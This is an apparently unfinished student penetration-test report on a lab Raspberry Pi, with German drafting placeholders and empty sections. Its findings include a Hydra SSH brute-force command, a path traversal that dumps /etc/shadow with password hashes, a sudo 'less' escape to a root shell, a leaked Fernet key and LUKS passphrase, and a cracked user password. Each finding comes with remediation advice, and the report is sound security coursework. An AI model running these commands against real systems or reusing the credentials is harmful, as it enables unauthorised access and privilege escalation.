

Duale Hochschule Baden-Württemberg
Mannheim

Pentest Report

Pentesting Project X

Studiengang Cyber Security

Verfasser:	Luka Tsipitsoudis
Matrikelnummer:	4110112
Kurs:	TINF20CS1
Abgabedatum:	18.04.2023
Betreuer:	Pr. Dr. Johannes Bauer

Unterschrift: _____

Inhaltsverzeichnis

Abbildungsverzeichnis	iii
Abkürzungsverzeichnis	iv
1 Introduction CHECKS NOCH ENTFERNEN	1
1.1 Scope	1
1.2 Severities	1
1.3 Classification	1
1.4 Effort to Fix	1
2 Management Summary	3
3 Technical Summary	4
3.1 Findings Overview	4
3.2 Used Tools	4
4 Findings	5
4.1 Finding 1 - Exact OpenSSH-Version can be determined	5
4.2 Finding 2 - Vulnerable OpenSSH Version	7
4.3 Finding 3 - Exact Apache Version can be determined	8
4.4 Finding 4 - Vulnerable Apache Version	9
4.5 Finding 5 - Path Traversal on Apache Server	11
4.6 Finding 6 - Weak password for User Bluey	12
4.7 Finding 7 - No Brute-Force Protection for SSH	14
4.8 Finding 8 - Accesss to the Device Under Testing (DUT) via SSL- Server	14
4.9 Finding 9 - Webserver allows vulnerable Protocols	16
4.10 Finding 10 - Privilige Escalation via SSH	17
4.11 Finding 11 - No Encryption for Webserver on Port 80	19
4.12 Finding 12 - Weak Cipher Suites for Webserver on Port 443	20
4.13 Finding 13 - Possible SYN Flood Attack	21
4.14 Finding 14 - Sudo Access on Less for User bluey	22
4.15 Finding 15 - Encrypted Image can be Decrypted	24
4.16 Finding 16 - Vulnerable Software leads to Remote Code Execution	27
4.16.1 Finding Impact	27

4.16.2	Finding Details	28
4.16.3	Evaluation of Results	28
4.17	Finding 17 - Vulnerable Management Server on Port 20321	28
4.17.1	Finding Impact	29
4.17.2	Finding Details	29
4.17.3	Evaluation of Results	30
4.18	Finding 18 - Hard Coded Credentials	31
4.18.1	Finding Impact	31
4.18.2	Finding Details	31
4.18.3	Evaluation of Results	31
4.19	Finding 19 - Vulnerable OpenSSL Version	31
4.19.1	Finding Impact	32
4.19.2	Finding Details	32
4.19.3	Evaluation of Results	32

Abbildungsverzeichnis

Abbildung 4.1	Apache Version	8
Abbildung 4.2	Path Traversal	12
Abbildung 4.3	Login as User Bluey	13
Abbildung 4.4	Access to shadow file	15
Abbildung 4.5	Screenshot of the Webserver	17
Abbildung 4.6	Screenshot of the portscan	18
Abbildung 4.7	Screenshot of Wireshark	19
Abbildung 4.8	Sudoers File	23
Abbildung 4.9	Screenshot of Exploit	23
Abbildung 4.10	Screenshot of Wireshark	28

Abkürzungsverzeichnis

DUT	Device Under Testing
AJP	Apache JServ Protocol
CVE	Common Vulnerabilities and Exposures
RCE	Remote Code Execution
CA	Certification Authority

1 Introduction CHECKS NOCH ENTFERNEN

1.1 Scope

This Penetration Test Report is based on the E-Mail from our client Pr. Dr. Bauer. The E-Mail was send on 2023-02-20 13:56 with the subject "Schriftliche Beschreibung der Laborarbeit 'Offensive Security'" (HASHSUMME EINFÜGEN). The given scenario is a black box test. The given DUT is a Raspberry Pi GENAUE DATEN EINSETZEN. The os is LINUX VERSION (uname) EINFÜGEN. The DUT might be interacting with external systems. Those systems are not in the scope of this test.

1.2 Severities

For each vulnerability you uncover in your testing, you typically provide: The likelihood of exploitation, taking into account how easy it is to discover and exploit The impact on the control you get once exploited Suggested remediation Suggested validation of remediation effectiveness

Low Moderate High Severe Critical

1.3 Classification

1.4 Effort to Fix

Low Moderate High

Severity Level	Definition
Low	Vulnerability that has a limited impact on the system or data and may not require immediate attention. It represents a low risk to the organization and can be addressed in a routine patching cycle or by implementing a simple configuration change.
Medium	Vulnerability that has a moderate impact on the system or data and requires some effort to exploit. It represents a moderate risk to the organization and may require a more thorough analysis and remediation effort.
High	Vulnerability that has a significant impact on the system or data and can be easily exploited. It represents a high risk to the organization and requires immediate attention and remediation.

Tabelle 1.1: Severity Levels

2 Management Summary

Short Summary for non technical people. what are key takeaways and recommendations? how urgent is acting necessary?

3 Technical Summary

summery for technical people

3.1 Findings Overview

table that contains the findings you'll describe later, sorted by severity Helps quickly triage results

3.2 Used Tools

4 Findings

4.1 Finding 1 - Exact OpenSSH-Version can be determined

Classification: Information Disclosure **CVE:** **Severity:** **Low**

Finding Description

A nmap port scan reveals the exact version of the running OpenSSH-Server on the DUT. The version used on the DUT is **"OpenSSH 8.4p1 Debian 5+deb11u1"** and can be accessed via port 22.

Finding Impact

This information can be used by an attacker to find known vulnerabilities in this specific OpenSSH-Version to exploit the DUT. Possible exploitations can be found in Finding 2.

Finding Cause

This finding is caused by OpenSSH itself. There is no configuration option to hide the version of the SSH-Server. The version-banner can be found in the sshd binary.

Finding Details

```
1 $ nmap -A 172.16.0.29
2 Starting Nmap 7.91 ( https://nmap.org ) at 2023-03-06 09:30 CEST
3 Nmap scan report for 172.16.0.29
4 Host is up (0.00051s latency).
5 PORT STATE SERVICE VERSION
6 22/tcp open  ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
```

Evaluation of Results

Effort to Fix: **Medium**

To fix this finding the OpenSSH Binary has to be changed. By default the binary can be found at '/usr/sbin/sshd'. Change the binary with hexedit and search for the version banner. After removing the version banner restart the ssh service wit 'systemctl restart sshd.service'. Due to the fact of the risk of working on the binary itself, this finding is rated as medium effort to fix.

4.2 Finding 2 - Vulnerable OpenSSH Version

Classification: Vulnerable Software Version **Severity:** **Medium**
CVE: CVE-2021-28041, CVE-2021-41617

Finding Description

The DUT is running a vulnerable OpenSSH version (8.4p1). This version is vulnerable to the following CVEs: CVE-2021-28041, CVE-2021-41617.

Finding Impact

Following exploits can be used to gain access to the DUT:

CVE-2021-28041: This vulnerability enables an attacker to carry out unauthorized code execution on a target system remotely. The vulnerability stems from an error in the ssh-agent, where a remote attacker can lure the victim to connect to a server where the attacker has root access.

CVE-2021-41617: When OpenSSH is used with non default configurations privilege escalation is possible. (Check configuration)

Evaluation of Results

Effort to Fix: **Low**

Update to newer OpenSSH version. This can be done by running the following command:

```
1 $ sudo apt update
2 $ sudo apt install openssh-server
```

4.3 Finding 3 - Exact Apache Version can be determined

Classification: Misconfiguration **Severity:** Low

CVE: Null

Visiting port 80 of the DUT in a web browser with the path `"/home"` reveals the exact version of Apache that is running on the DUT. The version of Apache that is running on the DUT is **"Apache/2.4.54 (Debian)"**. This Finding has a low severity, because it should be more important to use a newer version of Apache to prevent exploits of known vulnerabilities.

Finding Impact

This can be used to find known vulnerabilities in the version of Apache that is running on the DUT. These vulnerabilities can be found in chapter 4.

Finding Details

Trying to reach a non existing page on the DUT reveals the exact version of Apache that is running on the DUT. This is the output shown in the web browser:

Not Found

The requested URL was not found on this server.

Apache/2.4.54 (Debian) Server at 172.16.0.29 Port 80

Abbildung 4.1: Apache Version

Evaluation of Results

Effort to Fix: **Low**

To fix this finding the Apache configuration has to be changed. By default the configuration can be found at '/etc/apache2/conf-enabled/security.conf' (CHECK). In this configuration the following lines have to be added or updated:

```
1 ServerTokens Prod
2 ServerSignature Off
```

After changing the configuration file the apache service has to be restarted with:

```
1 $ sudo service apache2 restart
```

After restarting the Version of the Apache Server shouldn't be visible anymore.

4.4 Finding 4 - Vulnerable Apache Version

Classification: Vulnerable Software Version **Severity:** **Medium**

CVE: CVE-2023-25690, CVE-2023-27522, CVE-2006-20001,
CVE-2022-36760, CVE-2022-37436

On port 80 the DUT is running a vulnerable Apache version ("Apache 2.4.54"). This version has multiple vulnerabilities and shouldn't be used in production. The following vulnerabilities are known from Common Vulnerabilities and Exposures (CVE) but haven't been exploited on the DUT. Some of these vulnerabilities may only be exploitable with specific configurations. Nevertheless, all of these vulnerabilities are shown to provide transparency and to show the possible impact of the vulnerabilities.

Finding Impact

CVE-2023-25690: When the `mod_proxy` configuration is enabled a HHTTP smuggling attack is possible, which could bypass the access controls.

CVE-2023-27522: This vulnerability allows an attacker to send a origin header which contains special characters to the server. This could be used truncate/split the response forwarded to the client.

CVE-2006-20001: This vulnerability allows an attacker to send a specific if request to the server, which could be used to crash the process.

CVE-2022-36760: Due to an inconsistent interpretation of HTTP requests of the server it could be possible for attackers to smuggle HTTP requests to the Apache JServ Protocol (AJP) server.

CVE-2022-37436: A malicious backend has the ability to terminate the response headers prematurely, leading to certain headers being integrated into the response body. Following headers which serve a security function, they will not be comprehended by the client.

Finding Details

```
1 $ nmap -A 172.16.0.29
2
3 Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-06 09:30 CET
4 Nmap scan report for 172.16.0.29
5 Host is up (0.00051s latency).
6
7 PORT STATE SERVICE VERSION
8 80/tcp open  http Apache httpd 2.4.54 ((Debian))
```

Evaluation of Results

Effort to Fix: **Low**

To fix this vulnerability the Apache Server has to be updated to a newer version. This could be done with the following command:

```
1 $ apt update && apt install apache2
```

4.5 Finding 5 - Path Traversal on Apache Server

Classification: Information Disclosure **Severity:** **High**

CVE:

On the Apache Server of the DUT (port 80) it is possible to access directories via path traversal. By adding the path `"/home/..."` to the URL it is possible to see directories which seem to be users of the DUT. The directories are empty.

Finding Impact

The Impact of this finding is an severe Information Disclosure. Attackers could try to guess passwords for the found users and eventually gain access to the DUT.





Finding Details

A way to find the path is to use a nmap scan with the `"http-enum"` script:

```
1 $ nmap -A --script -http-enum 172.16.0.29
2
3 PORT STATE SERVICE VERSION
4 80/top open http Apache httpd 2.4.54 ((Debian))
5 |_http-server-header: Apache/2.4.54 (Debian)
6 | http-enum:
7 |_ /home/:
8 Potentially interesting directory w/ listing on
9 'apache/2.4.54_(debian)'
```

To see the directory it is possible to visit the URL in a web browser:

Index of /home

<u>Name</u>	<u>Last modified</u>	<u>Size</u>	<u>Description</u>
 Parent Directory		-	
 bingo/	2023-02-12 20:48	-	
 bluey/	2023-02-12 20:48	-	
 root/	2023-02-12 20:48	-	

Apache/2.4.54 (Debian) Server at 172.16.0.30 Port 80

Abbildung 4.2: Path Traversal

Evaluation of Results

Effort to Fix: **Medium**

The Server should validate the path before accessing it. A possible solution could be to whitelist the allowed paths, which should be accessible. This would prevent accessing directories of the DUT which are not intended to be accessed by the user.

4.6 Finding 6 - Weak password for User Bluey

Classification: Weak Password Severity: **High**

CVE: CVE-2022-1039

Using the Tool "Hydra" the Password for the User "bluey" was found in a very short amount of time with Brute Force. The Password is "phoenix". As a passwordlist the file "rockyou.txt" was used which contains about 14 million common passwords. This file can be found online and is accessible for everyone.

Finding Impact


With the password it is possible to login to the DUT as the User "bluey" via ssh. This allows attackers to gain access to the DUT and to execute commands as the User "bluey". This could lead for example to a Remote Code Execution (RCE) or to a privilege escalation (horizontal or vertical).

Finding Details

The Password was found using the Tool "Hydra" with the following command:

```
1 $ hydra -l bluey -P rockyou.txt 172.16.0.29 ssh -t 4 -V -I
```

After the password was found it was possible to login to the DUT as the User "bluey" via ssh:



```
└─# ssh bluey@172.16.0.29
The authenticity of host '172.16.0.29 (172.16.0.29)' can't be established.
ED25519 key fingerprint is SHA256:6Ha71kTRiSiyuQbUB1+LVlB71pL8t5cVtI+ZNn1sDI4.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? y
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added '172.16.0.29' (ED25519) to the list of known hosts.
bluey@172.16.0.29's password:
Permission denied, please try again.
bluey@172.16.0.29's password:
Linux plunder 5.15.61-v8+ #1579 SMP PREEMPT Fri Aug 26 11:16:44 BST 2022 aarch64

Wi-Fi is currently blocked by rfkill.
Use raspi-config to set the country before use.

plunder bluey [~]:
```

Abbildung 4.3: Login as User Bluey

Evaluation of Results

Effort to Fix: **Low**

The password should be changed immediately. Notice that passwordlength is the most important aspect. Don't use common passwords.

4.7 Finding 7 - No Brute-Force Protection for SSH

Classification: Misconfiguration **Severity:** **High**

As seen in Finding 6 the password of the user "bluey" can be brute-forced. Even though the weak password is a finding on its own, there should be also a protection against brute-force attacks. This could have stopped the attack in Finding 6.

Evaluation of Results

Effort to Fix: **Low**

To protect against brute-force attacks the following configuration should be updated/added to the sshd_config file:

```
1 MaxTries 3
```

Also a multifactor authentication could be used for the ssh service.

4.8 Finding 8 - Accesss to the DUT via SSL-Server

Classification: Misconfiguration **Severity:** **High**

On port 443 of the DUT a SSL-Server is running. Trying to access this SSL-Server with an Internet Browser results in an error page. The following error message is shown:

```
1 Error opening ''
2 548660451168:error:02001002:system library:fopen:
3 No such file or directory:bss_file.c:169:fopen('','r')
4 548660451168:error:2006D080:BIIO routines:BIIO_new_file:
5 no such file:bss_file.c:172:
```


This indicates that the SSL-Server is trying to open a file but the filename is missing in the bss_file.c file.

Finding Impact

While trying to use pathtraversal on the SSL-Server it was found that the filename isn't missing but using the path appended to the URL. This can be exploited to access files on the DUT which are not intended to be accessed by the user. By changing the path for example the shadow file can be accessed. This could be used to gain access to the DUT by hashcracking the passwords. Also other exploits could be possible.

Finding Details

To access the shadow file the following URL was used:



```
172.16.0.29/shadow x +
https://172.16.0.29/shadow
Kali Linux Kali Tools Kali Docs Kali Forums Kali NetHunter Exploit-DB Google Hacking
root:$y$j9T$jD2BgLtygRrj6C8LuAsv./$K0rv/7gIiejFL.kKpYlt.tw7z/QSpq8x5qLAeupCZT8:19420:0:99999:7:::
daemon:*:19257:0:99999:7:::
bin:*:19257:0:99999:7:::
sys:*:19257:0:99999:7:::
sync:*:19257:0:99999:7:::
games:*:19257:0:99999:7:::
man:*:19257:0:99999:7:::
lp:*:19257:0:99999:7:::
mail:*:19257:0:99999:7:::
news:*:19257:0:99999:7:::
uucp:*:19257:0:99999:7:::
proxy:*:19257:0:99999:7:::
www-data:*:19257:0:99999:7:::
backup:*:19257:0:99999:7:::
list:*:19257:0:99999:7:::
irc:*:19257:0:99999:7:::
gnats:*:19257:0:99999:7:::
nobody:*:19257:0:99999:7:::
_apt:*:19257:0:99999:7:::
systemd-network:*:19257:0:99999:7:::
systemd-resolve:*:19257:0:99999:7:::
systemd-login:*:19257:0:99999:7:::
systemd-timesync:*:19257:0:99999:7:::
messagebus:*:19257:0:99999:7:::
_rpc:*:19257:0:99999:7:::
sshd:*:19257:0:99999:7:::
statd:*:19257:0:99999:7:::
avahi:*:19257:0:99999:7:::
dnsmasq:*:19257:0:99999:7:::
systemd-coredump:*:19257:0:99999:7:::
telnetd:*:19400:0:99999:7:::
bingo:*:19400:0:99999:7:::
bluey:$y$j9T$MyxaEmW.uD3BU$UNvYwLi0$UNYPGo3CQmP8Q07Jkf2Wb2a.6LYztY2edJcQCY/ZX4A:19400:0:99999:7:::
```

Abbildung 4.4: Access to shadow file

Evaluation of Results

Effort to Fix: **Low**

Fix the file which sets the filename that should be opened. This should prevent the SSL-Server from opening files which are not intended to be opened. Also whitelisting the allowed paths could be a solution to prevent path traversal.

4.9 Finding 9 - Webserver allows vulnerable Protocols

Classification: Misconfiguration Severity: **High**


The Webserver running on port 443 of the DUT has ssl2, ssl3 and tls1 enabled. This allows accessing the Webserver with outdated protocols which are vulnerable to attacks.

Finding Impact

Using lower versions than TLS 1.2, can pose security risks to the webserver and your users' data. This is because these older versions have known vulnerabilities and weaknesses that can be exploited by attackers.

Finding Details

This is the proof for the possible usage of SSLv2 to connect to the Webserver:



```
plunder [/]: openssl s_client -connect 172.16.0.29:443 -ssl2
CONNECTED(00000005)
depth=0 CN = Infoservice
verify error:num=18:self signed certificate
verify return:1
depth=0 CN = Infoservice
verify return:1
548017543008:error:1406D0B8:SSL routines:GET_SERVER_HELLO:no cipher list:s2_clnt.c:450:
no peer certificate available
No client certificate CA names sent
SSL handshake has read 470 bytes and written 53 bytes
New, (NONE), Cipher is (NONE)
Secure Renegotiation IS NOT supported
Compression: NONE
Expansion: NONE
SSL-Session:
    Protocol  : SSLv2
    Cipher    : 0000
    Session-ID:
    Session-ID-ctx:
    Master-Key:
    Key-Arg   : None
    PSK identity: None
    PSK identity hint: None
    SRP username: None
    Start Time: 1677903762
    Timeout   : 300 (sec)
    Verify return code: 18 (self signed certificate)
```

Abbildung 4.5: Screenshot of the Webserver

Evaluation of Results

Effort to Fix: **Medium**

Disable the usage of ssl2, ssl3 and tls1. This should prevent the usage of outdated protocols which are vulnerable to attacks.

4.10 Finding 10 - Privilege Escalation via SSH

Classification: Misconfiguration Severity: **High**

Within the roots authorized_keys file in the ".ssh" directory a public key for the user "bluey" is stored.

Finding Impact


Doing a simple ssh login the "bluey" user can login as root without a password.

Finding Details

The following snippet shows the content of the `authorized_keys` file for the root user:

```
1 $ cat authorized_keys
2 ssh-ed25519 AAAAC3NzaC11ZDI1NTE5AAAAIMOEHQP4e3BVrq0R9nPQzf
3 olf9349W/UDXSAbQIj6RDM joe@reliant
4 ssh-ed25519 AAAAC3NzaC11ZDI1NTE5AAAAINV2RR0AIF7+9Cm7U2PWV
5 TmJ0hjvTQeYF04Lo7Et1qk bluey@plunder
```

The following screenshot shows the root login as the "bluey" user:



```
plunder bluey [/]: ssh root@172.16.0.29
The authenticity of host '172.16.0.29 (172.16.0.29)' can't be established.
ECDSA key fingerprint is SHA256:92+P1abRkxftnY5bhPTPJ6T1eex+rckqQrRros9ca4I.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '172.16.0.29' (ECDSA) to the list of known hosts.
Linux plunder 5.15.61-v8+ #1579 SMP PREEMPT Fri Aug 26 11:16:44 BST 2022 aarch64
Last login: Sat Mar  4 16:35:38 2023 from 172.16.0.1

Wi-Fi is currently blocked by rfkill.
Use raspi-config to set the country before use.

plunder ~: █
```

Abbildung 4.6: Screenshot of the portscan

Evaluation of Results

Effort to Fix: **Low**

Remove the public key for the user "bluey" from the `authorized_keys` file for the root user.

4.11 Finding 11 - No Encryption for Webserver on Port 80

Classification: Misconfiguration **Severity:** **High**

A portscan of the DUT revealed that the Webserver on port 80 is not encrypted.

Finding Impact

All of the traffic between the client and the Webserver is unencrypted. This allows an attacker to intercept the traffic and read the data.

Finding Details

The following screenshot shows an excerpt of a Wireshark capture. This shows that all the traffic is unencrypted using HTTP:

5752	2461.5760032...	172.16.0.29	172.16.0.1	HTTP	780 HTTP/1.1 200 OK (text/html)
5754	2461.6318539...	172.16.0.1	172.16.0.29	HTTP	361 GET /icons/blank.gif HTTP/1.1
5759	2461.6360850...	172.16.0.1	172.16.0.29	HTTP	360 GET /icons/back.gif HTTP/1.1
5762	2461.6362667...	172.16.0.1	172.16.0.29	HTTP	362 GET /icons/folder.gif HTTP/1.1
5765	2461.6373246...	172.16.0.29	172.16.0.1	HTTP	497 HTTP/1.1 200 OK (GIF89a)
5767	2461.6396720...	172.16.0.29	172.16.0.1	HTTP	575 HTTP/1.1 200 OK (GIF89a)
5769	2461.6402824...	172.16.0.29	172.16.0.1	HTTP	566 HTTP/1.1 200 OK (GIF89a)
5771	2465.3315776...	172.16.0.1	172.16.0.29	HTTP	446 GET /home/root/ HTTP/1.1
5772	2465.3364309...	172.16.0.1	172.16.0.1	HTTP	722 HTTP/1.1 200 OK (text/html)
5774	2466.5602741...	172.16.0.1	172.16.0.29	HTTP	446 GET /home/ HTTP/1.1
5775	2466.5678092...	172.16.0.29	172.16.0.1	HTTP	780 HTTP/1.1 200 OK (text/html)
5789	2474.0826163...	172.16.0.1	172.16.0.29	HTTP	447 GET /home/bingo/ HTTP/1.1
5791	2474.0874516...	172.16.0.29	172.16.0.1	HTTP	725 HTTP/1.1 200 OK (text/html)
5793	2475.1406308...	172.16.0.1	172.16.0.29	HTTP	447 GET /home/ HTTP/1.1
5794	2475.1406204...	172.16.0.29	172.16.0.1	HTTP	780 HTTP/1.1 200 OK (text/html)
5796	2475.6931353...	172.16.0.1	172.16.0.29	HTTP	447 GET /home/bluey/ HTTP/1.1
5797	2475.6978385...	172.16.0.29	172.16.0.1	HTTP	724 HTTP/1.1 200 OK (text/html)
5799	2476.5149085...	172.16.0.1	172.16.0.29	HTTP	447 GET /home/ HTTP/1.1
5800	2476.5223083...	172.16.0.29	172.16.0.1	HTTP	780 HTTP/1.1 200 OK (text/html)
5808	2581.0607812...	172.16.0.1	172.16.0.29	HTTP	447 GET /home/bingo/ HTTP/1.1
5810	2581.0654091...	172.16.0.29	172.16.0.1	HTTP	725 HTTP/1.1 200 OK (text/html)

Abbildung 4.7: Screenshot of Wireshark

Following is the output of the portscan which shows that the Webserver on port 80 uses http:

```

1 $ nmap -A 172.16.0.29
2
3 Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-06 09:30 CET
4 Nmap scan report for 172.16.0.29

```



```
5 Host is up (0.00051s latency).  
6  
7 PORT STATE SERVICE VERSION  
8 80/tcp open http Apache httpd 2.4.54 ((Debian))
```

Evaluation of Results

Effort to Fix: **Medium**

Traffic between clients and the webserver should be encrypted. This can be done by using a certificate for the webserver. This certificate should be signed by a trusted Certification Authority (CA). This can be done by using a certificate from a CA like Let's Encrypt.

4.12 Finding 12 - Weak Cipher Suites for Webserver on Port 443

Classification: Weak Cryptography Severity: **High**

Performing an nmap scan on the port 443 of the DUT reveals that the webserver is using weak cipher suites.

Finding Impact

Weak cipher suites are vulnerable to attacks like the SWEET32 attack. This allows an attacker to read the data which is transmitted between the client and the webserver.

Finding Details

Following nmap command was executed on the DUT:

```
1 $ nmap -sV --script ssl-enum-ciphers -p 443 172.16.0.29
```

The complete output of this command is shown in the appendix. The following output shows the weak cipher suites which are used by the webserver:

```
1 | 64-bit block cipher 3DES vulnerable to SWEET32 attack
2 | 64-bit block cipher DES vulnerable to SWEET32 attack
3 | 64-bit block cipher DES40 vulnerable to SWEET32 attack
4 | 64-bit block cipher IDEA vulnerable to SWEET32 attack
5 | 64-bit block cipher RC2 vulnerable to SWEET32 attack
6 | Broken cipher RC4 is deprecated by RFC 7465
7 | Ciphersuite uses MD5 for message integrity
8 | Export key exchange
9 | Insecure certificate signature (SHA1), score capped at F
```

Evaluation of Results

Effort to Fix: **Medium**

The webserver should only use strong cipher suites. This can be done by updating the configuration of the webserver.

4.13 Finding 13 - Possible SYN Flood Attack

WELCHES TOOL GENUTZT?

Classification: Missing Protection Severity: **High**

CVE:

Finding Impact

Finding Details

Evaluation of Results

Effort to Fix: **High**

4.14 Finding 14 - Sudo Access on Less for User bluey

Classification: Privilege Escalation Severity: **High**

The user "bluey" has sudo access to the less command for the file "auth.log".

Finding Impact

This allows the user "bluey" to execute the following command:

```
1 plunder bluey [~]: sudo /usr/bin/less /var/log/auth.log
```

Within less the user can execute the following command:

```
1 ! /bin/bash
```


This opens a root shell on the system due to the sudo access without a password.

Finding Details

Using the following command as the user "bluey" shows which commands the user can execute with sudo access:

```
1 plunder bluey [~]: sudo -l
2
3 User bluey may run the following commands on plunder:
4 (root) NOPASSWD: /usr/bin/less /var/log/auth.log
```

The Reason for this is the sudoers file:

A terminal window showing the contents of the /etc/sudoers file. The text is as follows:

```
plunder [/etc]: cat sudoers
#
# This file MUST be edited with the 'visudo' command as root.
#
# Please consider adding local content in /etc/sudoers.d/ instead of
# directly modifying this file.
#
# See the man page for details on how to write a sudoers file.
#
Defaults    env_reset
Defaults    mail_badpass
Defaults    secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"

# Host alias specification

# User alias specification

# Cmnd alias specification

# User privilege specification
root    ALL=(ALL:ALL) ALL

# Allow members of group sudo to execute any command
%sudo   ALL=(ALL:ALL) ALL

# See sudoers(5) for more information on "@include" directives:


@include_dir /etc/sudoers.d

bluey ALL=NOPASSWD: /usr/bin/less /var/log/auth.log
```

Abbildung 4.8: Sudoers File

The last line of this file gives the user "bluey" sudo access to the less command for the file "auth.log" without a password.

Exploiting this vulnerability is shown in the following screenshot:

A terminal window showing an SSH session. The text is as follows:

```
session opened for user root(uid=0) by (uid=0)
connection failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=172.16.0.1 user=root
172.16.0.1 port 43422 ssh2
om 172.16.0.1 port 43422 ssh2
on opened for user root(uid=0) by (uid=0)
r root.

ons on /dev/input/event0 (vc4)
! /bin/bash
```

Abbildung 4.9: Screenshot of Exploit

After executing this command the user "bluey" has a root shell on the system.

Evaluation of Results

Effort to Fix: **Low**

Remove the sudo access for the user "bluey" in the sudoers file. This can be done by using the following command:

```
1 $ sudo visudo
```

And then removing the line:

```
1 bluey ALL=NOPASSWD: /usr/bin/less /var/log/auth.log
```

4.15 Finding 15 - Encrypted Image can be Decrypted

Classification: Vulnerable Software Severity: **Medium**

On the DUT is a luks encrypted image named "container.img". The Passphrase for the decryption can be determined by exploiting a vulnerable python file named "fdsetup.pyc" on the DUT.

Finding Impact

By decompiling the "fdsetup.pyc" file with "pycdc" the source code of the python file can be determined. The usage of this file is to access the encrypted image. It contains a fernet encrypted configuration. This configuration contains a debug option which is set to "false" by default. This configuration can be edited to change the debug option to "true". After encrypting the edited configuration the decompiled python file can be modified to use the new configuration with the vim editor. This modified python file can be executed with:

```
1 $ python3 /usr/local/bin/fdesetup.pyc
```

Caused by the modified configuration this will print debug information to the console which contains the passphrase for the decryption of the encrypted "container.img". SCREENSHOT VON DEBUG OUPUT EINFÜGEN
WIE WURDE DAS IMAGE ENTSCHLÜSSELT?? SO:??

The image can be decrypted with:

```
1 $ sudo cryptsetup luksOpen /srv/container.img container
```

The image can now be accessed with:

```
1 $ sudo mount /dev/mapper/decrypted_devicess /media/my_device
```

Finding Details

Using the "ps aux" command the running processes on the DUT can be determined. In the output of the command the following process can be seen (this is only a cutout of the output):

```
1 root  965  0.0  0.9  16252  9188  Mar05   0:00
2 /usr/bin/python3 /usr/local/bin/mgmtserver
```

This leads to the directory "usr/local/bin" which contains the following files (outcut):

```
1 $ ls -a
2 -rw----- 1 root root 4,0K 12.02.2023 18:52:59 check_version.pyc
3 -rwxr-xr-x 1 root root 4,2K 12.02.2023 19:14:51 c_rehash
4 -rwx----- 1 root root 4,0K 05.03.2023 11:14:51 fdesetup.pyc
5 -rwx----- 1 root root 2,5K 12.02.2023 19:58:22 mgmtserver
```

This is how the "fdesetup.pyc" file can be discovered. After searching on the DUT for "fdesetup.pyc" a service named "fde_init.service" can be discovered which lies in the directory "/etc/systemd/system" and is used to execute the "fdesetup.pyc" file.

The service looks like this:

```
1 [Unit]
2 Description=FDE initialization
3 After=network-online.target
4
5 [Service]
```

```
6 Type=oneshot
7 ExecStart=/usr/bin/python3 /usr/local/bin/fdesetup.pyc
8
9 [Install]
10 WantedBy=multi-user.target
```

This service is always executed when the network of the DUT is online. The description indicates that this service is used for the encryption of the "container.img" (FDE = Full Disk Encryption). The service also leads to the "fdesetup.pyc" file. Trying to view the content of the python file results in mostly nonsense because the file is already compiled. But some buzzwords of the file can be seen like "password" or "luks". The whole compiled "fdesetup.pyc" file can be found in the appendix. Not all decompilers are able to decompile the file due to the used python version. One decompiler that can be used is "pycdc". The whole decompiled "fdesetup.pyc" file can be found in the appendix. To decrypt the configuration the following python script was used:

```
1 #!/usr/bin/ python
2 from cryptography.fernet import Fernet
3 key = b'dGH1BR5gJ6wz6rne0kvmW50UsgY_J3kBZlRIUmsSiYw='
4
5 f = Fernet(key)
6
7 token =b'gAAAAAB6U1FZADONUKESIjFYDrY8jeRSFL2TqYpqiIiTrTP8ceG
8 BoffIZt7XvWS5pXWE9afjswEi_fSq9D-tcEnh8Qf1WQu2j4158VrbjbD1s8k
9 WRqcv665XHDiFSEDPAL1yb2w=='
10
11 decrypted = f.decrypt(token)
12
13 print(decrypted)
```

Following is the decrypted default configuration used in the "fdsetup.pyc" file:

```
1 "debug": false,
2 "initial_passphrase": "Q99mjPp4xMwnEpgJd4kd5LNe",
3 "mapper_name": "fde",
4 "source_dev": "/srv/container.img",
5 "interface_mac": "eth0",
6 "source_files": [
7     ["/proc/cpuinfo", "filter_cpuinfo"],
8     ["/sys/kernel/debug/bluetooth/hci0/identity", null],
9     ["/sys/devices/platform/soc/3f980000.usb/usb1/1-1/1-1.1
```

```
10 /1-1.1:1.0/net/eth0/address", null]  
11 ]
```

This configuration also reveals the path to the encrypted image. The path is `"/srv/container.img"`.

Evaluation of Results

Effort to Fix: **Low**

The code shouldnt contain the debug option. Debugging can be used for development but should be removed before the code is used in production.

4.16 Finding 16 - Vulnerable Software leads to Remote Code Execution

Classification: Remote Code Execution Severity: **High**

A vulnerable compiled python script named `"check_version.py"` is located in the directory `"usr/local/bin"`.

4.16.1 Finding Impact

The vulnerability in this script allows an attacker to execute arbitrary code on the DUT. The script sends a GET request to the URL `"https://dhw.johannesbauer.com/offsec/"`. Included in the GET request the script sends the MAC-Address of the DUT as an argument within the URL. If the responds to that request with a HTTP status code of 200, the script executes the responses arguments in a shell on the DUT. It seems like the wanted purpose is to execute the following command on the DUT in a subprocess:

```
1 $ ip link show eth0
```


This command shows the MAC-Address of the network interface "eth0" on the DUT. This MAC-Address is then sent to the server within the GET request (/mac=MAC-Address). The servers response is then executed on the DUT and the output is sent back to server again encoded in base64. An attacker could use this vulnerability to send a carefully crafted response to the DUT which executes arbitrary code on the DUT.

4.16.2 Finding Details

The decompiled "check_version.pyc" script can be found in the appendix. While testing the python script was executed to get a look at Wireshark but the output couldn't be interpreted. The DUT is definitely trying to reach the server but then Wireshark shows that the TCP Port numbers are reused:




Abbildung 4.10: Screenshot of Wireshark

4.16.3 Evaluation of Results

Effort to Fix: **Medium**

How do you judge the individual technical findings (severity, likelihood)? What is your suggested remediation, if there is one? How can the customer validate their remediation is effective once implemented?

4.17 Finding 17 - Vulnerable Management Server on Port 20321

Classification: Vulnerable Software **Severity:** **High**

On port 20321 a management server is running. The server is vulnerable due to an insecure validation of certificate.

4.17.1 Finding Impact

Attacker can exploit this vulnerability to gain root access to the DUT. This can be done by carefully crafting a certificate, which will be accepted as valid by the management server.

4.17.2 Finding Details

The cause of this vulnerability is the "mgmtserver" python file in the directory "/usr/local/bin/". The whole code of this file can be found in the appendix. The following code snippet shows the vulnerable part of the code:

```
1 elif self._client_cert == "subject=CN=Management_Client
